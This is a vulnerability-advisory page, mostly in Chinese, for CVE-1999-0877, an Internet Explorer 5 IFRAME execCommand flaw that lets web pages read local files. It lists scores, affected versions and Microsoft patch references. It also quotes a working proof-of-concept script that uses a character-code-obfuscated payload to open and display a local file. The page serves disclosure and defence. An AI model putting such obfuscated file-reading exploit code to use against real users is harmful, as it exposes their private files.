CVE-1999-0877
CVSS4.3
发布时间 :1999-10-01 00:00:00
修订时间 :2008-09-10 13:08:49
NMCOE    

[原文]Internet Explorer 5 allows remote attackers to read files via an ExecCommand method called on an IFRAME.


[CNNVD]Internet Explorer读取文件漏洞(CNNVD-199910-005)

        Internet Explorer 5存在漏洞。远程攻击者通过IFRAME调用的ExecCommand类函数读取文件。

- CVSS (基础分值)

CVSS分值: 4.3 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-200 [信息暴露]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:ie:4.01:sp1Microsoft Internet Explorer 4.01 SP1
cpe:/a:microsoft:ie:4.01Microsoft Internet Explorer 4.01
cpe:/a:microsoft:ie:5.0Microsoft Internet Explorer 5.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0877
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0877
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199910-005
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms99-042.mspx
(UNKNOWN)  MS  MS99-042
http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;Q243638
(UNKNOWN)  MSKB  Q243638

- 漏洞信息

Internet Explorer读取文件漏洞
中危 未知
1999-10-01 00:00:00 2005-05-02 00:00:00
远程  
        Internet Explorer 5存在漏洞。远程攻击者通过IFRAME调用的ExecCommand类函数读取文件。

- 公告与补丁

        

- 漏洞信息 (19539)

MS IE 5.0/4.0.1 IFRAME Vulnerability (EDBID:19539)
windows remote
1999-10-11 Verified
0 Georgi Guninski
N/A [点击下载]
Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0/Unix 5.0 IFRAME Vulnerability

source: http://www.securityfocus.com/bid/696/info

Internet Explorer 5 will allow a malicious web page to read the contents of local files through a weakness in the IE5 security model. Normally the document.execCommand method is restricted from reading and returning data on the local machine, however if the method is called from within an IFRAME this restriction can be circumvented.

<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
}
setTimeout('f()',2000);
</SCRIPT>
<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME> 		

- 漏洞信息

7835
Microsoft IE IFRAME Document.ExecCommand Restriction Bypass Arbitrary File Access
Context Dependent Information Disclosure
Loss of Confidentiality Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

1999-10-15 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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